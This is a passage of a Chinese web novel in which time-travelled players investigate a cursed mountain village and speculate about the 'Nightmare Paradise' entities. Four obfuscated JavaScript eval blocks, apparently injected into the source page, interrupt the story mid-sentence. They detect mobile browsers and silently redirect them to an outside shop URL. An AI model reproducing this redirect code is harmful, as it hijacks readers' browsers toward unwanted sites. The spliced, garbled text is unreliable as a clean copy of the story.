人们转而将目光投向更广阔的星空,开始漫长的星际探索计划。在城市群正式落成后,人类宣布使用全新的“星历”纪年,并开启了声势浩大的星级移民计划——“桃花源”计划。 这一段历史在座各位耳熟能详,噩梦乐园带来的影响十分深远,表现之一在未来时代的国民基础教育中,噩梦乐园占据了极大的篇幅,而后未来政府更是在专业教育中开设专门的课程。市面上以噩梦乐园为原型制作的游戏动画等文娱产品层出不穷,未来政府甚至在暗中推动相关产业的发展。 毕竟,谁也不能保证噩梦乐园不会卷土重来。 若真到了那一天,在这种潜移默化的影响之下,未来政府希望这些可以让人们不至于在恐慌之下,让当年的悲剧重演。 未来政府的教育确实成功,面对噩梦乐园再临的威胁,众人都努力克制住了,并没有像刚才那样害怕到痛哭失声。 众人对着规则纸条讨论了一番,并没有得出什么有用的结论。这份怪谈规则出现在这里,其实并不能说明什么,既无法确认他们来到这里是否真的和噩梦乐园有关,也不能证明孟溪村隐藏的那个秘密与其相关联。 周嘉语回想自己游玩过的与噩梦乐园相关的游戏,提出了一个比较可行的方法:“其实我们现在就可以验证到底是不是噩梦乐园搞的鬼,毕竟噩梦乐园的习惯是每一个地方都有对应的规则。” 她指着桌上规则纸条,说,“这是我们在村子里得到的,是孟溪村的规则,现在我们转移到村中小楼,按照噩梦乐园的习惯,这里应该有一份新的规则才对。” 说干就干,众人在小楼上下搜寻,并没有找到本该出现在楼中的规则,只能再次回到厅堂。 “现在基本可以排除噩梦乐园的嫌疑,这不是它们的风格。”艾莉安是云景大学历史系的研究生,她研究的课题就是噩梦乐园,导师是相关领域的大佬。“噩梦乐园非常高傲,是不屑于做将规则藏起来这种小把戏的,在明确有规则运行的地方,比如我们现在所在的小楼,规则应该是直接张贴在门口这种显眼的地方,或者直接放在桌子上。” 她目光移到那张纸条上,“至于这个,很像是对噩梦乐园的拙劣模仿。” 噩梦乐园在弥瑞可大陆的所作所为被官方定性为一场浩劫,但就像杀人犯仍然有人为他辩护,明星出轨还是有粉丝想要嫁给他一样,噩梦乐园也有为数不少的拥趸,像阴沟里的老鼠,只能阴暗爬行不得见光,却永远也杀不尽灭不绝。 什么“怪谈才是世界的最终形态,政府阻止噩梦乐园是自取灭亡”,什么“噩梦乐园其实是拯救人类的救世主”等等,看得人火大。 艾莉安认为,《珈登希露得》的幕后黑手或许是噩梦乐园的狂热粉,而那张规则纸条则是他对“偶像”的致敬。 卢易斯觉得艾莉安这番推论合情合理,大声地赞同着,夸得艾莉安脸都红了,她只好转头看向众人:“你们觉得呢?” 戴洪乐无奈地看着发小,黎重不置可否,周嘉文则看向自家妹妹,想听听她的看法。周嘉语左右看看,终于锁定被黎重的身影完全挡住的有归,女孩左手托腮,右手手指一下一下点着左手手腕,不知道在想什么。 “你呢?你有什么看法?”周嘉语把她的椅子往前推,让她整个人都显露出来,无处躲藏。有归愕然地看向周嘉语,高个女生朝她一笑,伸手捏了她一把,“你不要总是躲着呀,长这么可爱,应该让人多看看才对。” 有归被周嘉语这一下给搞懵了,抬头呆呆地看着她,周嘉文一把把妹妹拉回自己座位上,免得她又祸害小女生。黎重轻轻扯了下有归的衣角,有归从呆滞中回神,低了一下头,又抬起脸来,说:“我不知道噩梦乐园到底与这次的事件有没有关联,但我可以确定,设计这次穿越事件的幕后黑手绝对不会是人类,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16412493|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 且大概率是和噩梦乐园类似的未知存在。” 艾莉安想要说话,有归转头瞥了她一眼,她立马闭上嘴。 有归解释道:"因为''桃花源''计划失败后,关于时空折跃的相关技术全部列为最高机密,封存在未科院地底最深处,想要查看相关资料,需要未科院的负责人和未来政府最高领导签字确认。" 顿了一下,她继续:“相关项目被永久叫停,想要重启研究,除非奇迹出现,让LUO和YIN回来。”但这是不可能的。 LUO、YIN,未来科学院负责人兼首席科学家,星际移民计划“桃花源”项目的主导者,也是引领未来时代前进的“星辰”。星历3232年,作为“桃花源”计划前沿观测站的星外空间站莫名消失,其上18名科学家随之失踪,YIN正在其中。没多久,LUO也在家里失踪。至此,星辰陨落。 在座几人年龄都不大,等他们出生时整个社会的风气已由原先的锐意进取转向保守,那个昂扬向上、一往无前的未来时代,他们只能从书本上、游戏里、小说中,还有影视作品中寻找。星历3232年,在历史书上,被视为这片大陆命运的转折点。 这其中的细节书上没写,他们自然不会知道。原来曾有过一项与穿越息息相关的时空折跃技术,只是在''桃花源''计划失败后,就没有继续了。 卢易斯忍不住说:“为什么未科院不继续研究?那样的话,我现在就可以直接穿回去了,哪里还需要做任务找钥匙。”话说到最后,带上了几分抱怨。 有归回头看了他一眼,这种目光有一个很恰当的说法——死亡视线,艾莉安顶不住,卢易斯只会觉得更有压力。他敬畏地看了有归一眼,缩了缩脖子,全当自己刚才没说过话,然后听到有归轻飘飘撂下一句:“因为世界上蠢货太多。” 这句话的指向太明显了,卢易斯瞪了一眼没忍住笑出声的周嘉语,却不敢和有归硬顶。 "提示,这是给我们的提示,"无视掉那些探究的目光,有归屈指叩击着掌心,说出自己的结论。 “怎么说?”黎重看向她。 “主线任务第一幕的标题‘烟笼孟溪,血满山岗’,我的理解是孟溪村一向闭塞,与外界交往很少,某一天这里却发生了流血事件。”她把‘血满山岗’这四个字圈了出来,“如果这个标题是写实的,大雾笼罩,鲜血弥漫,如果真的发生了这样的事情,孟溪村恐怕已经没什么人了。但一个可以说是与世隔绝的偏远山村,临近既无人烟更无村镇,为什么会有这样的结局?” 黎重明白了:“所以你想到了婆婆说的话。” 有归点头:“如果孟溪村真的应验了标题的结局,我更倾向于隐患是在最开始,也就是建村时埋下的。而婆婆特意提起,这座小楼曾经是第一任村长沈凌璧的晚年住所,她曾在这里夜以继日地研究,后来才作为招待外来者的地方。” 为了方便,她将纸条上的内容投影。 【进入孟溪村之人,只能居住在村西的小楼中,但征得村民同意后,外来者也可借宿村民家中。】 众人都围坐过来。 这条规则的前半句,几乎就是在暗示他们,沈凌璧曾在小楼中留下什么。而这样东西,与他们通关的任务有关。 5. 第 5 章 众人面面相觑,有些不敢置信,又有些高兴。就算是他们玩惊悚解谜游戏,也没有这么快就找到线索的。这是不是有点太简单了? 这么轻易就获得的东西,真的可信吗? 卢易斯悄悄嘀咕了一句:“这别是她瞎编的吧。” 戴洪乐恨不得把自己发小的嘴缝起来,让他别再得罪人了。 毕竟戴洪乐对自己哥俩的智商十分有数,他俩就是普通人的水平,在网游里想要过得好,都要挂靠大公会,也就是俗称的抱大腿。 卢易斯在游戏里被追捧惯了,这家伙哪哪都是缺点,脑子尤其不好使,架不住脸生得好。哪怕是经过几千年筛选,未来时代已经没有了丑基因的、遍地美人的情况下,他这张脸依旧是出挑的,是进娱乐圈躺着都有饭吃的美貌。虽然最后也没去吧,但靠着这张脸,他在游戏和现实无往而不立,尤其是在游戏里,为他争风吃醋的男男女女都可以单开一个服了,还因此引发了几次阵营战,祸水之名响彻游戏。 他一直对有归四人没好脸色,除了她们没有因为卢易斯的脸而对他优待外,还因为这四人长得都很好看,那种扔进顶级美人圈子里都依旧亮眼的好看,气质也是一等一的好,表现出的素质更是超出常人的水准,把卢易斯长久以来建立的那点脆弱的自信碾成了碎渣。 可明白归明白,戴洪乐真的很想揪着发小的耳朵让他清醒点——在这个世界里,是有丢掉性命的可能的,而你以往的优越感在性命面前什么都不是。 目前看来,他们这七个玩家里,他和卢易斯更像是凑数的,艾莉安可能有一点水平,但已经被秒成渣了,周嘉文说话太少不清楚,但他妹妹看上去可不好惹,而且周嘉语和戴洪乐最想抱那根大腿似乎关系还不错的样子。至于黎重,他有一种近乎于小动物的直觉,最好离这个看似温和好说话的男人远点。 戴洪乐略有些惆怅地看了一眼有归,这个他最开始就看好的大腿,他从来没把有归当作背着大人偷玩游戏的小孩。哪怕她长相幼稚、身高也...不是那么让人满意,哪怕她总是往后缩,充满摆烂的气息,戴洪乐还是认定她才是这里那根最粗的大腿。这是他天生的直觉,后来混迹各种游戏又被强化了,毕竟卢易斯实在太能折腾,他要没点眼力见,他们早就混不下去了。 目前看来大佬眼里根本看不见他哥俩,后续会不会带他们玩还是未知,不过好消息是,大佬也没把卢易斯之前的冒犯放在心上。戴洪乐暗下决心,接下来一定要看住卢易斯,最起码让他闭嘴,表现得识情识趣,哪怕帮不上忙,也绝对不能扯后腿。 这边戴洪乐心思千回百转,那边周嘉语赞同了有归的想法:“确实,这种闭塞偏远的山村,如果没有外力强行令他们改变,可能几百年都不会有变化。不过......” 话还没说完,戴洪乐见卢易斯又要开始,怕他再得罪人,抢先道:“那个,关于孟溪村的毁灭可以解释的详细一些吗?” 见众人都诧异地看过来,戴洪乐连连摆手,摇头说:“要是觉得麻烦就算了,我都没关系的。” “这个倒也不复杂,只要结合时代背景就知道了。”见有归没有开口的意思,周嘉语理了一下思路,转头解释道,“过去两百多年世界一直处于混乱的状态,云国也不能避免,孟溪村大概是在某个时候为了躲避战乱迁来这里的。现在是新历999年,云国成立后又特意腾出手接连打了几场外战,终于彻底掌控周边环境,专注国内发展。” 她伸出两根手指,“不出二十年,云国的经济将彻底腾飞,像孟溪村这种要么全部搬迁要么通水通电通路,总之就是必须在国家的掌控之下......” 以云国政府那丧心病狂的掌控力,小到基层村民自治组织都要抓在手里,又一直持续地打压扫荡黑恶势力,像村子之间械斗这种事情是完全禁止的,但凡有点风吹草动,直接武装镇压。从那句“血满山岗”来看,事情发生时孟溪村就算还在这大山深处,也不可能达成“大雾笼罩,鲜血弥漫”的结局,完全不具备这样的条件。 ——这基本可以排除孟溪村是在他们来到这里的新历999年之后忽然触雷爆炸的可能,云国完全不会给这样的机会。 如果这颗雷是在这之前埋下的,就像有归所说,这周围全是大河大山,几乎与外界隔绝,村民的生活近乎一成不变,也不可能是在孟溪村扎根于此之后才发生的。 那么只能是孟溪村第一代村民刚刚迁徙于此那段时间出的事。 作为那时候孟溪村的村长,沈凌璧一定知道什么,而纸条上的规则特意强调像他们这样的外来人员只能住在小楼里,住在沈凌璧曾夜以继日研究的小楼里,二者结合,不难得出小楼留有沈凌璧的研究成果的结论。当然不会直接给出问题的答案,这个他们很有经验了,但只是只字片语的提示也好哇,总好过两眼一抹黑。 戴洪乐懂了,也越发感受到人与人的差距:“这看上去一点也不简单。” “只听结论是挺简单的。”周嘉语说,明明是陈述事实,戴洪乐愣是听出了几分嘲讽。 但她确实没什么别的想法,转头问有归:“为什么你那么确定送我们到这里来的幕后黑手不是人类呢?虽然未科院防守很严密,但内部人员监守自盗,这也不是没有可能吧。” “你们应该知道,最近几百年来,未来时代的科技一直没有什么突破。”见他们都点头,有归也就继续往下说了,“其实LUO失踪后,‘桃花源’计划相关项目的研究并没有马上停止,也在一些问题上取得重大突破,但之后官方就强制停止研究,并将所有相关项目的研究成果封存。” 没有人说话,大家都在等她的下文。 有归一一看过他们的脸,眼睛快速眨了一下:“因为那些人疯了,所有参与研究的科学家都疯了。” 众人倒吸一口凉气:“怎么会这样?” 有归叹道:“那时候人们太需要好消息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16412494|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了......” 星外空间站离奇消失,YIN、LUO接连失踪,对整个社会都是一种莫大的打击,当时就有了很多流言,人心惶惶,负责“桃花源”项目的相关科学家卯着一股劲,想要取得成果,来证明时代的未来的依旧掌握在人类自己手中。然而要攻克的技术难关多如牛毛,有些桎梏,无论人们怎么努力,就是无法突破,只能借助外物。 就像噩梦乐园之后人类科技水平大跃升一样,那些科学家的执念让他们吸引了星空中某些未知存在,当祂投下目光时,科学家们感到灵感不断涌现,思路异常清晰,思维异常活跃,帮助他们突破那些科学壁垒,也让他们陷入彻底的疯狂。这也让未来政府和未科院认清现实,人类社会已经到达发展瓶颈,再往上的高端局人类没有入场资格,除非噩梦乐园再次降临,否则很难再进一步。 但谁敢赌?噩梦乐园让人类死伤大半,最终只能龟缩在一个钢铁盒子里,再来一次,恐怕坚持不到胜利的那天,人类就得全灭。 没有人敢赌,苟延残喘或许还有可能找到出路,□□就真的完了。 楼中的气氛一时有些低迷,尽管有归只说了一半,但黎重周嘉语还是明白她未尽之意,两人苦笑着对视一眼,不知道该怎么接受未来时代可能已经没有未来这个现实。 其余几个没怎么明白的都眼巴巴地看着她,有归却没打算解释,话说到这里,该明白的自然明白,不明白的知道了只会徒增烦恼。有时候,无知其实是一种保护。 多想无益,她迅速收敛心神,把注意力放在当下的处境上。低头看着那张纸条,她手指在桌面敲了两下,眉头一挑:“那个老婆婆一番做作才肯将纸条交给我们,这里隐藏的线索一定是幕后黑手想要我们知道的。”她嘴角微翘,流露出几分讥诮,“老婆婆话里话外都在暗示我们,从前来到孟溪村的游客都出事了,孟溪村第一任村长,那些曾在这里住过的游客,他们到底经历了什么,难道你们不想知道吗?当然我也很好奇,费尽心机也要把我送到这里来,到底隐藏了多么惊人的秘密。” 在众人最低都有193的身高面前,只有167的有归显得十分袖珍,偏偏她又长了一张稚气的脸,巴掌大的脸蛋上一双圆润的大眼睛,可爱的像是少女漫画里走出来的女主角。这会儿冷着脸,眉眼含怒,有一种莫名的反差感,却偏偏不会让人觉得违和。 她面向众人:“就算没有纸条,今晚我们也是要住在这里的,不把这座小楼探索清楚,我想各位也睡不着吧?” 说干就干,几人立马行动起来。 小楼内部左右对称,以厅堂中位线为轴,一楼左边是厨房和杂物间,右边则是两个房间,他们在靠近前院的房间里找到了一个日记本。楼上的两个房间分布在楼梯左右,对面是一个很大的书房。在书房里,他们找到了一张带血的纸条。 只见纸条上写着: 【我看见了,那个女人,她身下都是血……】 6. 第 6 章 这张纸条是在书与书架的缝隙间找到的,书房共有两面书架,上面大多摆放着各种书籍和字画,他们没去翻动这些东西,只是小心地查看书架上是否还隐藏着其他东西。 最后,他们又找到五张纸条,上面分别写着: 【怪物,这个村子有怪物,我看见那些孩子变成的怪物,它们都来自村子后面的山上。】 【这个村子把唯一的水井修在村口那里,“有石入口,有口难言”,难道这个村子还隐藏了什么秘密吗?】 【我要疯了,每天晚上我都会梦到一个大着肚子的女人,后来有一天我听到女人痛苦的呻吟和惨叫,再梦见那个女人,她的肚子已经瘪下去了,下半身全是血,她的孩子呢?她的孩子去哪了?】 【说起来真是奇怪,来了有几天了,怎么从没看见村里有人种地?这里离镇子上那么远,山路又难走,也不知道那些吃的用的是怎么带回来的。这个地方环境那么恶劣,怎么他们都不搬走?在这里生活真的太不方便了。】 【不要醒来不要醒来不要醒来不要醒来不要醒来不要醒来】 文字本无生命,此刻却传达出一种平静的疯感。 令人窒息。 日记本的封面则是淡橘色烫金的,仅有的一页字迹工整而清秀,而它前后纸页上该有的字迹都不见了。上面写着: 【996年4月9日,晴 早上天还没亮就从镇上出发,走到快天黑终于到了,这里居然真的有一个村子!不知道为什么,来到这里以后,我总觉得有人在看我,回头看又什么都没有。就在我写下这行字的时候,那种被窥探的感觉又出现了。】 小楼里一时沉寂下来,日记本和纸张就放在桌子上,众人以此为圆心散坐。 有归点了点其中一张纸条,“说起来,刚进村时我就有一个疑问。” 【说起来真是奇怪,来了有几天了,怎么从没看见村里有人种地?这里离镇子上那么远,山路又难走,也不知道那些吃的用的是怎么带回来的。这个地方环境那么恶劣,怎么他们都不搬走?在这里生活真的太不方便了。】 “我仔细观察过,孟溪村的村民们好像真的不劳动,房前屋后都没有农具,就只有小楼的杂物室里有一些工具。周围的平地山林,也保持着原始的样子,没有种植作物,没有被开垦过,那么,村民的吃穿用度是怎么解决的?” 说着,她简单绘制了孟溪村周边的地形图,然后投影出来。 “孟溪村三面环山,实际上它能与外界联系的,只有北边的那条山路。但这周边多山,山高林密,又有深谷大河,夏日白天远比黑夜长,但日记本主人依然从天不亮走到快天黑,说明路远且路难行。这样的山路,偶尔从外面带点新奇玩意进来就罢了,供应全村人衣食住行的物资肯定是无法运送进来的,这些东西只能是村人们自产自用。 而且孟溪村居于深山之中,地势高,土地贫瘠,这个时候用的都是未经改良的种子,产量更低,恐怕只够一家人半年的嚼用。但我们今天遇到的那个小孩,还有老人家,哪有半分忍饥挨饿的样子?” 黎重周嘉语眼前立马浮现那小姑娘和老婆婆的样子来,白白胖胖说不上,脸上确实没有半分菜色。而这一时期的云国,还没有办法让她的人民都能够吃饱,米面这些主食总是不够吃,碗里一年到头也见不到几次荤腥。黎重说:“你觉得孟溪村的秘密和这个有关?” 有归点头。 在这样的年代,一个深藏在大山里的村庄居然能维持这样相对富足的生活水平,怎么能不叫人怀疑?他们搜寻小楼的时候就发现了,厨房竟然整整齐齐地摆放着米面肉果蔬,都十分新鲜,像是刚从屠宰场从树上从地里拿回来的一样,而且他们来到这里完全是意外,不存在说东西是村民们特意掐着时间点为他们预备这种情况。那只能说明一件事,在孟溪村,每户人家的厨房,在某个特定的时间段,都会凭空出现一些东西。 不,或许不只是厨房。 离太阳落山已经有一段时间,小楼采光不是很好,厅堂里渐渐黑了下来。有归取下厅堂四角用于照明的油灯,这种灯造型古朴、古色古香,打开底座一看,里面是填得满满的灯油。就像刚才说的,排除掉村民们预见他们的到来提前将小楼的油灯注满灯油这种情况,将孟溪村看作一个自成一体的小世界,这个小世界底层像是有一个设定好的程序,特定地点刷新特定物资,时间大概也是固定的。 众人被有归描述的这幅画面激得鸡皮疙瘩都起来了。 她依旧是一副泰山崩于前而面不改色的淡定模样,甚至还打开终端写着什么,然后更换投影。 她并没有写什么复杂的东西,只有两点: 1.孟溪村的现状:物资每日刷新,生活质量超越时代; 2.孟溪村的结局:大雾笼罩,鲜血弥漫。 这么一对比,倒是很容易看出什么来。 “过程与结局无法匹配,维持孟溪村现状和造成孟溪村最终结局的不是一个势力,结合之前的信息,此次穿越事件最起码涉及到三方势力。”得出这个结论的周嘉语觉得自己不如疯掉算了,这到底是一个怎样的神展开啊! 假借游戏之名诱骗他们穿越的幕后黑手是类似噩梦乐园的存在,这一点他们之前就达成了共识,无须赘述。另外两方势力,其中之一将孟溪村圈养在这大山深处,这大概就是他们此次任务的目标,那个隐藏在孟溪村背后的秘密,他们势必要弄清楚这东西的真面目,有什么目的,以及针对这东西应该采取什么行动。 不知道孟溪村对这样的未知存在有什么作用,总不至于就为了养肥了杀来吃,孟溪村到底特殊在哪还有待观察,但它完全没必要搞出“大雾笼罩,鲜血弥漫”这样的结局。孟溪村一直在它的手心里,未曾逃脱,犯不上用这样的手段。 于是造成孟溪村“大雾笼罩,鲜血弥漫”的第三方势力登场。 这一点是最让有归迷惑的,因为是《珈登希露得》变幻后的二次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16412495|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主线任务第一幕标题直接剧透的内容,所以她想过第三方势力会不会就是那个让她穿越的幕后黑手,最后还是否决了。幕后黑手的目标明显指向隐藏在孟溪村背后的那个未知存在,它没必要多此一举,因为孟溪村连马前卒都算不上,更像是摆在明面上的烟雾弹。 当然,也看不出第三方势力如此做的必要,总不能是必须全成就的强迫症玩家吧。 《珈登希露得》的任务面板经历了两次变化,初版岁月静好,二版直接揭示了孟溪村的结局,终版直指孟溪村背后的未知存在,难道是暗示第三方势力的入场与这个未知存在有关?还是说孟溪村的结局源起于此?反正没有办法得出一个比较确切的结论,怎么都能解释得通,那就意味着没有解释。 暂且记下这一点,有归扬了扬那张规则纸条:“其实这也代表了一方势力。” 这一个肯定不属于孟溪村这一边的原生势力,看行事作风也不像是送他们集体穿越还不给提示让他们自己摸索的那个坑货,这种随心所欲自成一派的风格,倒是和那个第三方势力很像。但还是那句话,目前线索太少,已知的信息完全无法支撑她的论断。 而且还有一点她没有说,不是因为不信任黎重周嘉语他们,而是连她自己都想不通,也不知道该不该说。那张规则纸条所透露的信息绝不限于上面的内容,但只有她一个人接收到了。因为那是规则怪谈,代表着噩梦乐园的怪谈规则出现在四千年前的孟溪村,是故意要引起她的注意。 此人——暂且这么称呼——行事之嚣张,完全没有想过遮掩,当然,有归确实拿这人没办法。她垂眼看着那张纸条,这是一个经历过噩梦乐园降临、来自未来时代的很了解她的人,但同时满足这三点要求的人,早就不在了。 未来时代人人皆知,经历过噩梦乐园还一直活到未来时代的只有两个人,那就是LUO和YIN。而这两人,早就迷失在时间洪流中,寻不到归处,亦找不回来时路。除此之外,再也没有人符合这三个条件。 “这么说,这又是一位和噩梦乐园类似的存在?”有归没有说,但不代表别人猜不出来,黎重完全不在意自己提出了多么可怕的说法。 被一个恶魔送到一个鬼地方,和另一个恶魔打照面后,然后被告知要解决的对象是第三个恶魔,这种开局,是个人都会疯掉。 卢易斯和艾莉安都要吓哭了,黎重却只关心问题的答案,但他不是心知肚明么,在这种两强相争的局面还敢出来搅和,说明它自身的实力,完全不逊色与针锋相对的任何一方,甚至可能还在它们之上。 “你不怕吗?”被黎重点破后,周嘉语想自欺欺人都做不到,心态快要绷不住了。转头见有归居然还坐得住,甚至在卢易斯和艾莉安收敛的哭泣声中打开了终端。 听到周嘉语问,她还认真思考了一下,才摇头答道:“这恶魔加恶魔的一下出现三个,恐怕还有第四个,有点怕不过来。” 她说:“其实我更怕你们死在这里。” 7. 第 7 章 楼中沉默了一片,周嘉语也在沉思,她在思考这谁家教出来的小孩咋这么会说话。 有归说的是实话来着,但实话往往不太好听,尤其是他们刚才讨论一通,发现要面对的竟然是噩梦乐园那样恐怖的对手。其实在场的除了有归,大多数人已经丧失了斗志。如果只是一次普通的穿越,再难再险,他们都可以试着周旋,但面对这种碾压级的敌人,让人连反抗的心思都很难生出来。 这一点有归心知肚明,她本来就是故意点破的,对噩梦乐园的惊惧一时间可能会压倒对死亡的恐惧,但既然连死都不怕了,又何必害怕一个虚无缥缈、从未见过的恐怖传说。这世上,本来就没有比死亡更可怕的东西,也没有什么比死亡更容易更简单的事了。 戴洪乐不知想到了什么,脸色变了又变,开口时隐隐带了哭声:“如果我们真的死在这里,是会变成一具尸体,还是像那些被困在噩梦乐园怪谈副本里的人一样,变成怪物?” 有归愣了一下,没想到他关心的居然是这个,摇头道:“我不知道。” 她看见戴洪乐眼里光芒明灭几瞬,大概内心颇为纠结,连手指都绞在一起,眉心聚成一座小山峰。 “那个,有归,”他很郑重地喊她的名字,“能拜托你一件事吗?” 有归愣住,实在很久没有人这么喊她了,“你说。” “如果,我是说如果有一天,我再也没有办法回家了,请你杀了我,把我的尸体烧成灰,洒在城市之外的土地上。” 卢易斯忍不住:“小乐!” 戴洪乐却只看着有归,有些忐忑地等待她的回答。他这话确实过于无礼了,片刻之前他们还是素不相识的陌生人,他怎么能要求别人对他的生命负责,可是他还是想要赌一把。死亡固然可怕,更可怕的是连死亡都被别人操控利用,如果是这样,他宁愿彻底毁灭。 那些噩梦乐园衍生游戏写得明明白白清清楚楚,无法从怪谈副本里出来的人,最终都成了怪谈的一部分。在人类战胜噩梦乐园后,那些人化作的怪谈像垃圾一样被留了下来,成为引发整个世界动荡的次生灾害。戴洪乐不愿意看见这样的结局。 有归的思考不过一瞬,就答应了下来:“好。” 戴洪乐第一反应是听错了,然后就是欣喜若狂,不断感激感谢。周嘉语转过头,正准备打蛇随棍上,另一边黎重也开口了:“我想......” 然后两人都被瞪了,有归没好气地说:“你们什么都不想。” 周嘉语慢悠悠道:“还是要想的,我们都想活下去。” 三人言语交锋这会儿工夫,有归已经操作完成,将七人的终端彻底连接在一起,组成一个360°无死角的透明大屏,并且打开了信息共享,而关闭共享的权限只有她才有。也就是说,从现在开始,他们七人中的一个使用终端做的任何事情,其他人都会知道。 未来时代科技经过数次变革后,诞生了求解万物的星体级计算机,这台计算机被LUO命名为“微光”。不过在“桃花源”计划失败后,微光也被封存,只保留一小部分功能。 人们所使用的终端是微光的一部分延伸,每个人出生时,会生成一个独一无二的基因编码,将之与终端进行绑定,才有在未来城市生活的资格。 终端是身份证明+钱包+通讯工具+个人生活管家...... 在未来时代,它包办人类生活的一切。 绝对的透明化带来绝对的安全感,人们都没有什么隐私可言,也相当习惯这样的生活。 因此,众人其实对终端共享接受程度很高,也不会对没有私密空间有什么意见。更何况,他们都明白这样做的原因,无非是防范他们七人之中混入奇怪的东西,还有就是以防有人生出外心。终端在这里虽然无法像在未来时代那样使用,但它本身就搭载多种模块,尤其是人工智能的板块,一旦向对手敞开被用来对付他们,后果不堪设想。 但有归无法卸下他们终端,这样做是真正意义上在要他们的命,终端与个人终身绑定,只有人类方死亡才能解绑;也不能直接关闭,及时传递信息无论在什么时候都很重要,而在这里,他们的通信工具只有终端。 戴洪乐倒是非常满意,终端共享意味着有归是将他们七人看作一个团体的,线上的交流直接向他们敞开,至于线下讨论,孟溪村这么大点地方,恐怕只有这个小楼才是安全区,怎么也避不开人。有归做事这么敞亮,他彻底把心放回肚子里,不用担心会被大腿一脚踹开了。 转头见卢易斯似乎有些不满,戴洪乐左瞄右看,见无人在意这才舒了口气,小声安抚发小。 几人确实都没工夫理会卢易斯,因为有归发了一样东西——《珈登希露得》通关特别计划表。内容还是空白的,只标注了日期和天数,有归看了他们一眼,往上面添了点东西。 【7月12日,第一天 任务内容:今日总结和指定后面的行动计划】 黎重和周嘉语都去看桌上的日记本和那几张纸条,有归的声音正好传来:“想要活下去,就要行动起来。” “刚好,我们已经找到了这团乱麻里的线头。” 他们的任务目标很明确:活下去,破解村庄隐藏的秘密,获得回家的钥匙。表面上看似乎是这样,但往下深挖就很容易迷惑,孟溪村到底隐藏着多少秘密?这些秘密哪些才是他们的目标?“破解”又是怎么个破解法?满脑袋问号,光是这些就够让人纠结半天了。 好在这个破游戏虽然坑,但还没有一坑到底,最开始的任务引导给他们指明了方向。 初版任务描绘的孟溪村岁月静好,这种虚假的美好后面藏着多么肮脏血腥的交易他们并不清楚,但孟溪村必然付出了极大的代价。哪怕是在新历999年,云国成立不过39年,这里的落后闭塞依然让人心惊。他们生活的星历3873年距离云国已经非常遥远了,但日常生活中依旧残留着云国深入基层的痕迹,但孟溪村并没有这样的痕迹,有归他们所见,原始、封闭、自成一个小世界。 将他们与外界阻隔的恐怕不只是地理环境,还有“人”为因素。那么,“它”这样做的目的是什么呢?“它”又是怎么做到的?最重要的问题—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16412496|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “它”到底是什么。 要搞清楚这一系列问题,就必须知道在这颗雷埋下的时候,也就是孟溪村建村于此的那段时间到底发生了什么。遗憾的是,他们在第一任村长沈凌璧晚年独居的小楼中并没有发现于此有关的东西,第一个任务中断。 再看变换后的第二版任务,这一版任务指明了孟溪村的结局:大雾笼罩,鲜血弥漫。按理来说,受到庇佑的孟溪村不应该是这样惨烈的结果——别管这种庇佑是好是坏,反正从伙食的情况来看,村民们的生活质量远高于同时代的其他人。孟溪村的确付出了代价,但他们也得到了回报,这是不是说明村民们对背后的存在来说并不是一次性的使用品?哪怕是马前卒烟雾弹,也是分有等级之分的。 但孟溪村似乎很轻易就被毁灭了,除非这一波是魔法对轰,发生的摧枯拉朽又猝不及防,让一直隐藏在背后的那个存在没有反应过来。所以,这里他们需要弄清楚的问题是:这个存在又是什么?“它”为什么要毁灭孟溪村而不是直接针对那个背后的存在?“它”这样做的目的是什么?‘它’是怎样做到的? 他们想要拿到回家的钥匙,要破解的就是这两个秘密,这两个与孟溪村息息相关的秘密。核心都是那个“它”,是送他们到这里来的幕后黑手针对的对象,他们之前猜测这三方势力恐怕都是噩梦乐园同等的存在,是他们无法对抗的存在,目前的他们。 知道了“它们”的身份,然后呢?有归没有继续往下说,因为她也不知道,但她明白一件事情:幕后黑手费那么大力气把他们几个都送过来,总不能是心理变态拿他们寻开心。每个人做事都有自己的目的,哪怕想法千奇百怪甚至超出常理,恶魔也不会例外。 